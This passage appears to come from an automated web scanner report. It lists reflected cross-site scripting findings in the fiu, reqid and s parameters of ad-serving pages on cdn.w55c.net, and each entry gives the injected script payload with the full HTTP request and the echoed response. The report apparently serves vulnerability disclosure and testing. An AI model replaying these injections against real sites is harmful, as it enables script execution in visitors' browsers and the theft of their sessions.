Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 15:59:04 GMT
Server: w55c.net
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 16:20:07 GMT
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Tue, 19 Apr 2011 21:53:32 GMT
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.1 cdn.w55c.net (MII JProxy)
Age: 1264
Cache-Control: no-cache, no-store
pragma: no-cache
Via: 1.1 mdw061006 (MII-APC/1.6)
Content-Length: 2260

<IFRAME SRC="http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn81612"><script>a
...[SNIP]...
='JavaScript1.1' SRC="http://ad.doubleclick.net/adj/N4860.158901.DATAXU/B5300325.14;abr=!ie;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn81612"><script>alert(1)</script>19610998b64&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.re
...[SNIP]...

6.91. http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [fiu parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0Rl7Vm3VTU_682412618.html

Issue detail

The value of the fiu request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 48222"><script>alert(1)</script>582d0f188f5 was submitted in the fiu parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=48222"><script>alert(1)</script>582d0f188f5&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303679995&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303661995029&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303661995034&frm=1&adk=2614322350&ga_vid=1092593501.1303661995&ga_sid=1303661995&ga_hid=294155726&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&fu=4&ifi=1&dtd=7
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 16:13:06 GMT
Server: w55c.net
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 16:20:10 GMT
Cache-Control: no-cache, no-store
pragma: no-cache
P3P: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Tue, 19 Apr 2011 21:53:32 GMT
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.1 cdn.w55c.net (MII JProxy)
Age: 426
Via: 1.1 mdw061007 (MII-APC/1.6)
Content-Length: 2232

<IFRAME SRC="http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=48222"><script>alert(1)</script>582d0f188f5&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&rurl=;ord=NERCNDREQTgw
...[SNIP]...

6.92. http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [fiu parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0Rl7Vm3VTU_682412618.html

Issue detail

The value of the fiu request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d4de1"><script>alert(1)</script>21a09d385e5 was submitted in the fiu parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVAd4de1"><script>alert(1)</script>21a09d385e5&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303679995&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303661995029&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303661995034&frm=1&adk=2614322350&ga_vid=1092593501.1303661995&ga_sid=1303661995&ga_hid=294155726&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&fu=4&ifi=1&dtd=7
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 16:13:06 GMT
Server: w55c.net
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 16:20:10 GMT
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Tue, 19 Apr 2011 21:53:32 GMT
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.1 cdn.w55c.net (MII JProxy)
Age: 426
Cache-Control: no-cache, no-store
pragma: no-cache
Via: 1.1 mdw061006 (MII-APC/1.6)
Content-Length: 2260

<IFRAME SRC="http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB
...[SNIP]...
NETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVAd4de1"><script>alert(1)</script>21a09d385e5&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&rurl=;ord=NERCNDREQTgw
...[SNIP]...

6.93. http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [reqid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0Rl7Vm3VTU_682412618.html

Issue detail

The value of the reqid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bbe51"><script>alert(1)</script>ec85ea665e2 was submitted in the reqid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjYbbe51"><script>alert(1)</script>ec85ea665e2&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303679995&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303661995029&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303661995034&frm=1&adk=2614322350&ga_vid=1092593501.1303661995&ga_sid=1303661995&ga_hid=294155726&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&fu=4&ifi=1&dtd=7
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 16:13:06 GMT
Server: w55c.net
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 16:20:12 GMT
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Tue, 19 Apr 2011 21:53:32 GMT
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.1 cdn.w55c.net (MII JProxy)
Age: 428
Cache-Control: no-cache, no-store
pragma: no-cache
Via: 1.1 mdw061001 (MII-APC/1.6)
Content-Length: 2260

<IFRAME SRC="http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB
...[SNIP]...
net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjYbbe51"><script>alert(1)</script>ec85ea665e2&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=N
...[SNIP]...

6.94. http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [reqid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0Rl7Vm3VTU_682412618.html

Issue detail

The value of the reqid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 77fab"><script>alert(1)</script>8367cace647 was submitted in the reqid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=77fab"><script>alert(1)</script>8367cace647&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303679995&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303661995029&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303661995034&frm=1&adk=2614322350&ga_vid=1092593501.1303661995&ga_sid=1303661995&ga_hid=294155726&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&fu=4&ifi=1&dtd=7
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 16:13:06 GMT
Server: w55c.net
Cache-Control: no-cache, no-store
P3P: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
content-type: text/html
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 16:20:13 GMT
Accept-Ranges: bytes
Last-Modified: Tue, 19 Apr 2011 21:53:32 GMT
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.1 cdn.w55c.net (MII JProxy)
Age: 429
pragma: no-cache
Via: 1.1 mdw061007 (MII-APC/1.6)
Content-Length: 2174

<IFRAME SRC="http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=77fab"><script>alert(1)</script>8367cace647&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=N
...[SNIP]...

6.95. http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [s parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0Rl7Vm3VTU_682412618.html

Issue detail

The value of the s request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload baefa"><script>alert(1)</script>c6153ed0c54 was submitted in the s parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=baefa"><script>alert(1)</script>c6153ed0c54& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303679995&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303661995029&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303661995034&frm=1&adk=2614322350&ga_vid=1092593501.1303661995&ga_sid=1303661995&ga_hid=294155726&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&fu=4&ifi=1&dtd=7
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 16:19:03 GMT
Server: w55c.net
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 16:20:16 GMT
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Tue, 19 Apr 2011 21:53:32 GMT
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.1 cdn.w55c.net (MII JProxy)
Age: 75
Cache-Control: no-cache, no-store
pragma: no-cache
Via: 1.1 mdw061007 (MII-APC/1.6)
Content-Length: 2158

<IFRAME SRC="http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=baefa"><script>alert(1)</script>c6153ed0c54&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&rurl=;ord=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw
...[SNIP]...

6.96. http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [s parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0Rl7Vm3VTU_682412618.html

Issue detail

The value of the s request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a75f5"><script>alert(1)</script>925c4d5e97b was submitted in the s parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.phpa75f5"><script>alert(1)</script>925c4d5e97b& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303679995&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303661995029&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303661995034&frm=1&adk=2614322350&ga_vid=1092593501.1303661995&ga_sid=1303661995&ga_hid=294155726&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&fu=4&ifi=1&dtd=7
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 16:13:06 GMT
Server: w55c.net
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 16:20:16 GMT
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Tue, 19 Apr 2011 21:53:32 GMT
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.1 cdn.w55c.net (MII JProxy)
Age: 432
Cache-Control: no-cache, no-store
pragma: no-cache
Via: 1.1 mdw061003 (MII-APC/1.6)
Content-Length: 2260

<IFRAME SRC="http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB
...[SNIP]...
